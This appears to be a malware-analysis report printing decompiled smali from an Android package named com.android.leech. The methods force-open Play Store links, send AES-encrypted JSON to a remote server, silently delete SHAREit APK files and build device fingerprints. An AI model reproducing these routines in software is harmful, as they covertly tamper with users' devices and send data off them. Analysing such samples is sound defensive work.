                                                                              0.param p0, "url" # Ljava/lang/String;
                                                                              1.prologue
                                                                              3invoke-static {p0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              4move-result v8
                                                                              5if-eqz v8, :cond_7
                                                                              6goto_6: return-void
                                                                              7try_start_7:
                                                                              8invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              9move-result-object v8
                                                                              11invoke-static {v8}, Landroid/accounts/AccountManager;->get(Landroid/content/Context;)Landroid/accounts/AccountManager;
                                                                              12move-result-object v0
                                                                              14const-string v8, "com.google"
                                                                              16invoke-virtual {v0, v8}, Landroid/accounts/AccountManager;->getAccountsByType(Ljava/lang/String;)[Landroid/accounts/Account;
                                                                              17move-result-object v1
                                                                              18array-length v8, v1
                                                                              19try_end_16: if-lez v8, :cond_18
                                                                              20cond_18:
                                                                              21invoke-static {p0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                                                                              22move-result-object v7
                                                                              23new-instance v5, Landroid/content/Intent;
                                                                              25const-string v8, "android.intent.action.VIEW"
                                                                              27invoke-direct {v5, v8, v7}, Landroid/content/Intent;-><init>(Ljava/lang/String;Landroid/net/Uri;)V
                                                                              29const-string v8, "com.android.vending"
                                                                              31invoke-virtual {v5, v8}, Landroid/content/Intent;->setPackage(Ljava/lang/String;)Landroid/content/Intent;
                                                                              32const/high16 v8, 0x10000000
                                                                              34invoke-virtual {v5, v8}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent;
                                                                              36invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              37move-result-object v8
                                                                              39invoke-virtual {v8, v5}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                                                              40try_end_34: goto/16 :goto_6
                                                                              41catch_35: move-exception v4
                                                                              42try_start_36:
                                                                              43invoke-static {p0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
                                                                              44move-result-object v7
                                                                              45new-instance v5, Landroid/content/Intent;
                                                                              47const-string v8, "android.intent.action.VIEW"
                                                                              49invoke-direct {v5, v8}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                                                              50new-instance v2, Landroid/content/ComponentName;
                                                                              52const-string v8, "com.android.vending"
                                                                              54const-string v9, "com.google.android.finsky.activities.LaunchUrlHandlerActivity"
                                                                              56invoke-direct {v2, v8, v9}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                                                              58invoke-virtual {v5, v2}, Landroid/content/Intent;->setComponent(Landroid/content/ComponentName;)Landroid/content/Intent;
                                                                              60invoke-virtual {v5, v7}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
                                                                              61const/high16 v8, 0x10000000
                                                                              63invoke-virtual {v5, v8}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                                                              65invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              66move-result-object v8
                                                                              68invoke-virtual {v8, v5}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                                                              69new-instance v6, Landroid/content/Intent;
                                                                              71const-string v8, "android.intent.action.VIEW"
                                                                              73invoke-direct {v6, v8}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V
                                                                              74new-instance v3, Landroid/content/ComponentName;
                                                                              76const-string v8, "com.android.vending"
                                                                              78const-string v9, "com.google.android.finsky.activities.MarketDeepLinkHandlerActivity"
                                                                              80invoke-direct {v3, v8, v9}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                                                              82invoke-virtual {v6, v3}, Landroid/content/Intent;->setComponent(Landroid/content/ComponentName;)Landroid/content/Intent;
                                                                              84invoke-virtual {v6, v7}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
                                                                              85const/high16 v8, 0x10000000
                                                                              87invoke-virtual {v6, v8}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;
                                                                              89invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              90move-result-object v8
                                                                              92invoke-virtual {v8, v6}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V
                                                                              93try_end_7e: goto/16 :goto_6
                                                                              94catch_7f: move-exception v8
                                                                              95goto/16 :goto_6
                                                                              96catch_81: move-exception v8
                                                                              97goto/16 :goto_18
                                                                              Cross References
                                                                              APIs
                                                                              • java.net.URL.<init>
                                                                              • java.net.URL.openConnection
                                                                              • java.net.HttpURLConnection.setConnectTimeout
                                                                              • java.net.HttpURLConnection.setReadTimeout
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestMethod
                                                                              • java.net.HttpURLConnection.setDoOutput
                                                                              • java.net.HttpURLConnection.getOutputStream
                                                                              • java.io.DataOutputStream.<init>
                                                                              • org.json.JSONObject.toString
                                                                              • java.io.DataOutputStream.writeBytes
                                                                              • java.io.DataOutputStream.flush
                                                                              • java.io.DataOutputStream.close
                                                                              • java.net.HttpURLConnection.getResponseCode
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              • java.lang.Exception.printStackTrace
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              Strings
                                                                              • Content-Type
                                                                              • application/json; charset=UTF-8
                                                                              • Accept
                                                                              • application/json
                                                                              • POST
                                                                              • afb9d69588be0116
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "urlStr" # Ljava/lang/String;
                                                                              1.param p1, "post" # Lorg/json/JSONObject;
                                                                              2.prologue
                                                                              3const/4 v3, 0x0
                                                                              4const/4 v6, 0x0
                                                                              5try_start_2: new-instance v5, Ljava/net/URL;
                                                                              7invoke-direct {v5, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              9invoke-virtual {v5}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                                                              10move-result-object v8
                                                                              11move-object v0, v8
                                                                              12check-cast v0, Ljava/net/HttpURLConnection;
                                                                              13move-object v6, v0
                                                                              14const/16 v8, 0x3a98
                                                                              16invoke-virtual {v6, v8}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                                                                              17const/16 v8, 0x3a98
                                                                              19invoke-virtual {v6, v8}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                                                                              21const-string v8, "Content-Type"
                                                                              23const-string v9, "application/json; charset=UTF-8"
                                                                              25invoke-virtual {v6, v8, v9}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              27const-string v8, "Accept"
                                                                              29const-string v9, "application/json"
                                                                              31invoke-virtual {v6, v8, v9}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              33const-string v8, "POST"
                                                                              35invoke-virtual {v6, v8}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                                                                              36const/4 v8, 0x1
                                                                              38invoke-virtual {v6, v8}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
                                                                              39new-instance v7, Ljava/io/DataOutputStream;
                                                                              41invoke-virtual {v6}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
                                                                              42move-result-object v8
                                                                              44invoke-direct {v7, v8}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V
                                                                              46const-string v8, "afb9d69588be0116"
                                                                              48invoke-virtual {p1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                                                              49move-result-object v9
                                                                              51invoke-static {v8, v9}, Lcom/android/leech/base/util/AESUtil;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              52move-result-object v2
                                                                              53if-eqz v2, :cond_4e
                                                                              55invoke-virtual {v7, v2}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
                                                                              57invoke-virtual {v7}, Ljava/io/DataOutputStream;->flush()V
                                                                              59invoke-virtual {v7}, Ljava/io/DataOutputStream;->close()V
                                                                              60cond_4e:
                                                                              61invoke-virtual {v6}, Ljava/net/HttpURLConnection;->getResponseCode()I
                                                                              62try_end_51: move-result v4
                                                                              63const/16 v8, 0xc8
                                                                              64if-ne v4, v8, :cond_57
                                                                              65const/4 v3, 0x1
                                                                              66cond_57: if-eqz v6, :cond_5c
                                                                              68invoke-virtual {v6}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              69goto_5c: return v3
                                                                              70catch_5d: move-exception v1
                                                                              71try_start_5e:
                                                                              72invoke-virtual {v1}, Ljava/lang/Exception;->printStackTrace()V
                                                                              73try_end_61: if-eqz v6, :cond_5c
                                                                              75invoke-virtual {v6}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              76goto/16 :goto_5c
                                                                              77catchall_67: move-exception v8
                                                                              78if-eqz v6, :cond_6d
                                                                              80invoke-virtual {v6}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              81cond_6d: throw v8
                                                                              Cross References
                                                                              APIs
                                                                              • android.os.Environment.getExternalStorageDirectory
                                                                              • java.lang.StringBuilder.<init>
                                                                              • android.os.Environment.getExternalStorageDirectory
                                                                              • java.io.File.getAbsolutePath
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.File.<init>
                                                                              • java.io.File.exists
                                                                              • java.io.File.listFiles
                                                                              • java.io.File.getName
                                                                              • java.lang.String.endsWith
                                                                              • java.io.File.getName
                                                                              • java.lang.String.startsWith
                                                                              • java.io.File.getName
                                                                              • java.lang.String.startsWith
                                                                              • java.io.File.delete
                                                                              • java.io.File.getAbsolutePath
                                                                              Strings
                                                                              • /SHAREit/.caches/.cache
                                                                              • .apk
                                                                              • AnyShare.
                                                                              • Any.
                                                                              • Shareit
                                                                              • delUpdate
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              2invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                                                                              3move-result-object v0
                                                                              4if-eqz v0, :cond_6f
                                                                              5new-instance v0, Ljava/io/File;
                                                                              6new-instance v3, Ljava/lang/StringBuilder;
                                                                              8invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              10invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                                                                              11move-result-object v4
                                                                              13invoke-virtual {v4}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                                                                              14move-result-object v4
                                                                              16invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              17move-result-object v3
                                                                              19const-string v4, "/SHAREit/.caches/.cache"
                                                                              21invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              22move-result-object v3
                                                                              24invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              25move-result-object v3
                                                                              27invoke-direct {v0, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              28if-eqz v0, :cond_6f
                                                                              30invoke-virtual {v0}, Ljava/io/File;->exists()Z
                                                                              31move-result v3
                                                                              32if-eqz v3, :cond_6f
                                                                              34invoke-virtual {v0}, Ljava/io/File;->listFiles()[Ljava/io/File;
                                                                              35move-result-object v1
                                                                              36if-eqz v1, :cond_6f
                                                                              37array-length v4, v1
                                                                              38const/4 v3, 0x0
                                                                              39goto_36: if-ge v3, v4, :cond_6f
                                                                              40aget-object v2, v1, v3
                                                                              42invoke-virtual {v2}, Ljava/io/File;->getName()Ljava/lang/String;
                                                                              43move-result-object v5
                                                                              45const-string v6, ".apk"
                                                                              47invoke-virtual {v5, v6}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
                                                                              48move-result v5
                                                                              49if-eqz v5, :cond_6c
                                                                              51invoke-virtual {v2}, Ljava/io/File;->getName()Ljava/lang/String;
                                                                              52move-result-object v5
                                                                              54const-string v6, "AnyShare."
                                                                              56invoke-virtual {v5, v6}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                                              57move-result v5
                                                                              58if-nez v5, :cond_5e
                                                                              60invoke-virtual {v2}, Ljava/io/File;->getName()Ljava/lang/String;
                                                                              61move-result-object v5
                                                                              63const-string v6, "Any."
                                                                              65invoke-virtual {v5, v6}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                                              66move-result v5
                                                                              67if-eqz v5, :cond_6c
                                                                              68cond_5e:
                                                                              69invoke-virtual {v2}, Ljava/io/File;->delete()Z
                                                                              71const-string v5, "Shareit"
                                                                              73const-string v6, "delUpdate"
                                                                              75invoke-virtual {v2}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
                                                                              76move-result-object v7
                                                                              78invoke-static {v5, v6, v7}, Lcom/android/leech/base/analytics/Analytics;->doEvent(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                                              79cond_6c: add-int/lit8 v3, v3, 0x1
                                                                              80goto/16 :goto_36
                                                                              81cond_6f: return-void
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.String.replaceAll
                                                                              • java.lang.String.replaceAll
                                                                              • java.lang.String.replaceAll
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • android.os.Build.DISPLAY:Ljava/lang/String
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • android.os.Build.MODEL:Ljava/lang/String
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • android.os.Build$VERSION.RELEASE:Ljava/lang/String
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              Strings
                                                                              • &=
                                                                              • &&
                                                                              • $d
                                                                              • ==
                                                                              • /
                                                                              • Android
                                                                              Position Instruction Meta Information
                                                                              0try_start_0:
                                                                              1const-string v0, "&="
                                                                              3const-string v1, " "
                                                                              5invoke-virtual {p1, v0, v1}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              6move-result-object v0
                                                                              8const-string v1, "&&"
                                                                              10const-string v2, " "
                                                                              12invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              13move-result-object v0
                                                                              15const-string v1, "=="
                                                                              17const-string v2, "/"
                                                                              19invoke-virtual {v0, v1, v2}, Ljava/lang/String;->replaceAll(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                                                                              20move-result-object v0
                                                                              21new-instance v1, Ljava/lang/StringBuilder;
                                                                              23invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              25invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              26move-result-object v0
                                                                              28const-string v2, "/"
                                                                              30invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              31move-result-object v0
                                                                              33const-string v2, "Android"
                                                                              35invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              36move-result-object v0
                                                                              38const-string v2, "/"
                                                                              40invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              41move-result-object v0
                                                                              43sget-object v2, Landroid/os/Build;->DISPLAY:Ljava/lang/String;
                                                                              45invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              46move-result-object v0
                                                                              48const-string v2, "/"
                                                                              50invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              51move-result-object v0
                                                                              53sget-object v2, Landroid/os/Build;->MODEL:Ljava/lang/String;
                                                                              55invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              56move-result-object v0
                                                                              58const-string v2, "/"
                                                                              60invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              61move-result-object v0
                                                                              63sget-object v2, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String;
                                                                              65invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              66move-result-object v0
                                                                              68const-string v2, " "
                                                                              70invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              71move-result-object v0
                                                                              73sget-object v2, LuAgent/commonsdk/statistics/internal/a;->a:Landroid/content/Context;
                                                                              75invoke-static {v2}, LuAgent/commonsdk/utils/UMUtils;->getAppkey(Landroid/content/Context;)Ljava/lang/String;
                                                                              76move-result-object v2
                                                                              78invoke-static {v2}, LuAgent/commonsdk/statistics/common/HelperUtils;->getUmengMD5(Ljava/lang/String;)Ljava/lang/String;
                                                                              79move-result-object v2
                                                                              81invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              83invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              84move-result-object v0
                                                                              85iput-object v0, p0, LuAgent/commonsdk/statistics/internal/a;->b:Ljava/lang/String;
                                                                              86try_end_6a: return-void
                                                                              87catch_6b: move-exception v0
                                                                              89sget-object v1, LuAgent/commonsdk/statistics/internal/a;->a:Landroid/content/Context;
                                                                              91invoke-static {v1, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              92goto/16 :goto_6a
                                                                              Cross References
                                                                              APIs
                                                                              • java.net.URL.<init>
                                                                              • java.util.Locale.US:Ljava/util/Locale
                                                                              • java.lang.String.toLowerCase
                                                                              • java.lang.String.contains
                                                                              • java.lang.System.getProperty
                                                                              • java.lang.System.getProperty
                                                                              • java.lang.Integer.parseInt
                                                                              • java.net.InetSocketAddress.<init>
                                                                              • java.net.Proxy$Type.HTTP:Ljava/net/Proxy$Type
                                                                              • java.net.Proxy.<init>
                                                                              • java.net.URL.openConnection
                                                                              • java.net.HttpURLConnection.setConnectTimeout
                                                                              • java.net.HttpURLConnection.setReadTimeout
                                                                              • java.net.HttpURLConnection.setDoOutput
                                                                              • java.net.HttpURLConnection.setDoInput
                                                                              • java.net.HttpURLConnection.setRequestMethod
                                                                              • java.net.HttpURLConnection.setUseCaches
                                                                              • java.net.HttpURLConnection.setInstanceFollowRedirects
                                                                              • java.net.URL.openConnection
                                                                              • java.lang.Throwable.getMessage
                                                                              • android.text.TextUtils.isEmpty
                                                                              Strings
                                                                              • wap
                                                                              • http.proxyHost
                                                                              • http.proxyPort
                                                                              • POST
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "type" # Ljava/lang/String;
                                                                              1.param p2, "url" # Ljava/lang/String;
                                                                              2.prologue
                                                                              3try_start_0: new-instance v1, Ljava/net/URL;
                                                                              5invoke-direct {v1, p2}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              6if-eqz p1, :cond_57
                                                                              8sget-object v8, Ljava/util/Locale;->US:Ljava/util/Locale;
                                                                              10invoke-virtual {p1, v8}, Ljava/lang/String;->toLowerCase(Ljava/util/Locale;)Ljava/lang/String;
                                                                              11move-result-object v8
                                                                              13const-string v9, "wap"
                                                                              15invoke-virtual {v8, v9}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              16move-result v8
                                                                              17if-eqz v8, :cond_57
                                                                              19const-string v8, "http.proxyHost"
                                                                              21invoke-static {v8}, Ljava/lang/System;->getProperty(Ljava/lang/String;)Ljava/lang/String;
                                                                              22move-result-object v2
                                                                              24const-string v8, "http.proxyPort"
                                                                              26invoke-static {v8}, Ljava/lang/System;->getProperty(Ljava/lang/String;)Ljava/lang/String;
                                                                              27move-result-object v3
                                                                              28new-instance v4, Ljava/net/InetSocketAddress;
                                                                              30invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                                                                              31move-result v8
                                                                              33invoke-direct {v4, v2, v8}, Ljava/net/InetSocketAddress;-><init>(Ljava/lang/String;I)V
                                                                              34new-instance v5, Ljava/net/Proxy;
                                                                              36sget-object v8, Ljava/net/Proxy$Type;->HTTP:Ljava/net/Proxy$Type;
                                                                              38invoke-direct {v5, v8, v4}, Ljava/net/Proxy;-><init>(Ljava/net/Proxy$Type;Ljava/net/SocketAddress;)V
                                                                              40invoke-virtual {v1, v5}, Ljava/net/URL;->openConnection(Ljava/net/Proxy;)Ljava/net/URLConnection;
                                                                              41move-result-object v6
                                                                              42check-cast v6, Ljava/net/HttpURLConnection;
                                                                              43goto_37: const/16 v8, 0x7530
                                                                              45invoke-virtual {v6, v8}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                                                                              46const/16 v8, 0x2710
                                                                              48invoke-virtual {v6, v8}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                                                                              49const/4 v8, 0x1
                                                                              51invoke-virtual {v6, v8}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
                                                                              52const/4 v8, 0x1
                                                                              54invoke-virtual {v6, v8}, Ljava/net/HttpURLConnection;->setDoInput(Z)V
                                                                              56const-string v8, "POST"
                                                                              58invoke-virtual {v6, v8}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                                                                              59const/4 v8, 0x0
                                                                              61invoke-virtual {v6, v8}, Ljava/net/HttpURLConnection;->setUseCaches(Z)V
                                                                              62const/4 v8, 0x0
                                                                              64invoke-virtual {v6, v8}, Ljava/net/HttpURLConnection;->setInstanceFollowRedirects(Z)V
                                                                              65goto_56: return-object v6
                                                                              66cond_57:
                                                                              67invoke-virtual {v1}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                                                              68move-result-object v6
                                                                              69check-cast v6, Ljava/net/HttpURLConnection;
                                                                              70try_end_5d: goto/16 :goto_37
                                                                              71catch_5e: move-exception v7
                                                                              73invoke-virtual {v7}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
                                                                              74move-result-object v0
                                                                              76iget-object v8, p0, Lcom/android/leech/base/bugly/net/PostRunnable;->mListener:Lcom/android/leech/base/bugly/net/PostRunnable$OnNetWorkListener;
                                                                              77if-eqz v8, :cond_72
                                                                              79invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              80move-result v8
                                                                              81if-nez v8, :cond_72
                                                                              83iget-object v8, p0, Lcom/android/leech/base/bugly/net/PostRunnable;->mListener:Lcom/android/leech/base/bugly/net/PostRunnable$OnNetWorkListener;
                                                                              85invoke-interface {v8, v0}, Lcom/android/leech/base/bugly/net/PostRunnable$OnNetWorkListener;->onError(Ljava/lang/String;)V
                                                                              86cond_72: const/4 v6, 0x0
                                                                              87goto/16 :goto_56
                                                                              APIs
                                                                              • java.net.URL.<init>
                                                                              • java.net.URL.openConnection
                                                                              • java.net.HttpURLConnection.setConnectTimeout
                                                                              • java.net.HttpURLConnection.setReadTimeout
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestProperty
                                                                              • java.net.HttpURLConnection.setRequestMethod
                                                                              • java.net.HttpURLConnection.setDoOutput
                                                                              • java.net.HttpURLConnection.getOutputStream
                                                                              • java.io.DataOutputStream.<init>
                                                                              • org.json.JSONObject.toString
                                                                              • java.io.DataOutputStream.writeBytes
                                                                              • java.io.DataOutputStream.flush
                                                                              • java.io.DataOutputStream.close
                                                                              • java.net.HttpURLConnection.getResponseCode
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              • java.net.HttpURLConnection.disconnect
                                                                              Strings
                                                                              • Content-Type
                                                                              • application/json; charset=UTF-8
                                                                              • Accept
                                                                              • application/json
                                                                              • POST
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "urlStr" # Ljava/lang/String;
                                                                              1.param p1, "post" # Lorg/json/JSONObject;
                                                                              2.prologue
                                                                              3const/4 v2, 0x0
                                                                              4const/4 v5, 0x0
                                                                              5try_start_2: new-instance v4, Ljava/net/URL;
                                                                              7invoke-direct {v4, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V
                                                                              9invoke-virtual {v4}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;
                                                                              10move-result-object v7
                                                                              11move-object v0, v7
                                                                              12check-cast v0, Ljava/net/HttpURLConnection;
                                                                              13move-object v5, v0
                                                                              14const/16 v7, 0x3a98
                                                                              16invoke-virtual {v5, v7}, Ljava/net/HttpURLConnection;->setConnectTimeout(I)V
                                                                              17const/16 v7, 0x3a98
                                                                              19invoke-virtual {v5, v7}, Ljava/net/HttpURLConnection;->setReadTimeout(I)V
                                                                              21const-string v7, "Content-Type"
                                                                              23const-string v8, "application/json; charset=UTF-8"
                                                                              25invoke-virtual {v5, v7, v8}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              27const-string v7, "Accept"
                                                                              29const-string v8, "application/json"
                                                                              31invoke-virtual {v5, v7, v8}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              33const-string v7, "POST"
                                                                              35invoke-virtual {v5, v7}, Ljava/net/HttpURLConnection;->setRequestMethod(Ljava/lang/String;)V
                                                                              36const/4 v7, 0x1
                                                                              38invoke-virtual {v5, v7}, Ljava/net/HttpURLConnection;->setDoOutput(Z)V
                                                                              39new-instance v6, Ljava/io/DataOutputStream;
                                                                              41invoke-virtual {v5}, Ljava/net/HttpURLConnection;->getOutputStream()Ljava/io/OutputStream;
                                                                              42move-result-object v7
                                                                              44invoke-direct {v6, v7}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V
                                                                              46invoke-virtual {p1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                                                                              47move-result-object v7
                                                                              49invoke-static {v7}, Lcom/android/leech/base/util/AESUtil;->encrypt(Ljava/lang/String;)Ljava/lang/String;
                                                                              50move-result-object v1
                                                                              51if-eqz v1, :cond_4c
                                                                              53invoke-virtual {v6, v1}, Ljava/io/DataOutputStream;->writeBytes(Ljava/lang/String;)V
                                                                              55invoke-virtual {v6}, Ljava/io/DataOutputStream;->flush()V
                                                                              57invoke-virtual {v6}, Ljava/io/DataOutputStream;->close()V
                                                                              58cond_4c:
                                                                              59invoke-virtual {v5}, Ljava/net/HttpURLConnection;->getResponseCode()I
                                                                              60try_end_4f: move-result v3
                                                                              61const/16 v7, 0xc8
                                                                              62if-ne v3, v7, :cond_55
                                                                              63const/4 v2, 0x1
                                                                              64cond_55: if-eqz v5, :cond_5a
                                                                              66invoke-virtual {v5}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              67goto_5a: return v2
                                                                              68catch_5b: move-exception v7
                                                                              69if-eqz v5, :cond_5a
                                                                              71invoke-virtual {v5}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              72goto/16 :goto_5a
                                                                              73catchall_62: move-exception v7
                                                                              74if-eqz v5, :cond_68
                                                                              76invoke-virtual {v5}, Ljava/net/HttpURLConnection;->disconnect()V
                                                                              77cond_68: throw v7
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.ConnectivityManager.getNetworkInfo
                                                                              • android.net.NetworkInfo.getState
                                                                              • android.net.NetworkInfo$State.CONNECTED:Landroid/net/NetworkInfo$State
                                                                              • android.net.ConnectivityManager.getNetworkInfo
                                                                              • android.net.NetworkInfo.getState
                                                                              • android.net.NetworkInfo$State.CONNECTED:Landroid/net/NetworkInfo$State
                                                                              • android.net.NetworkInfo.getSubtypeName
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              Strings
                                                                              • android.permission.ACCESS_NETWORK_STATE
                                                                              • connectivity
                                                                              • Wi-Fi
                                                                              • 2G/3G
                                                                              • UMUtils
                                                                              • get network access mode e is
                                                                              Position Instruction Meta Information
                                                                              0const/4 v2, 0x1
                                                                              1const/4 v4, 0x0
                                                                              2const/4 v0, 0x2
                                                                              3new-array v1, v0, [Ljava/lang/String;
                                                                              5const-string v0, ""
                                                                              6aput-object v0, v1, v4
                                                                              8const-string v0, ""
                                                                              9aput-object v0, v1, v2
                                                                              10if-nez p0, :cond_11
                                                                              11move-object v0, v1
                                                                              12goto_10: return-object v0
                                                                              13cond_11:
                                                                              14const-string v0, "android.permission.ACCESS_NETWORK_STATE"
                                                                              16invoke-static {p0, v0}, LuAgent/commonsdk/utils/UMUtils;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              17try_end_16: move-result v0
                                                                              18if-nez v0, :cond_1f
                                                                              20const-string v0, ""
                                                                              21aput-object v0, v1, v4
